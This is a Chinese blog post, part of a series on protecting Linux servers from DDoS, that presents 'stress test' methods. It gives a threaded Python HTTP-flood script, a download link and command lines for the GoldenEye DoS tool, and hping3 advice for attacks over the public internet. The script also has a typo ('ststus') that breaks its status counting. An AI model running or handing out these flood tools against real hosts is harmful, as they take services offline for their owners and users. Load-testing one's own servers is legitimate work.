linux DDoS & CC防护之(三)压力测试方法

DDos脚本一:

#运行环境:python3 安装 requests
	git clone git://github.com/kennethreitz/requests.git & cd requests
	python setup.py install

#以下是测试脚本,注意最下url地址


__version__ = "1.0"
from threading import Thread
import requests

status = {"200":0, "404":0, "500":0}

class HttpDdos(Thread):
	def __init__(self, host, port=80):
		super().__init__()
		self.host = host
		self.port = port
		
	def run(self) -> None:
		while True:
			self.sendHttpRequest(self.host)
			print(status)
			
	def sendHttpRequest(self,url):
		global status
		try:
			response = requests.get(url).status_code
			ststus[str(response)] += 1
		except:
			pass
	
if __name__ == '__main__':
	for i in range(300):
		t = HttpDdos("http://192.168.0.252")
		t.start()
		
	t.join()

#调用脚本
	python3 dos.py

DDos脚本二:可以走公网测试,会暴露攻击源

#解压该软件,进入目录后,知下
	https://qiniu.wsfnk.com/goldeneye.tar.gz

#dos攻击演示
	python goldeneye.py http://192.168.0.252 -m random -d
	python goldeneye.py http://192.168.60.10 -m random -w 100 -d

这个工具会使linux服务器处于 FIN-WAIT-2 的状态

hping3工具,走公网测试需要指定真是的源,不然数据无法到达目标

https://www.litreily.top/2018/02/22/ddos-attack/

声明:本文为原创,作者为 辣条①号,转载时请保留本声明及附带文章链接:https://boke.wsfnk.com/archives/873.html

最后编辑于:2019/10/31作者: 辣条①号

暂无评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注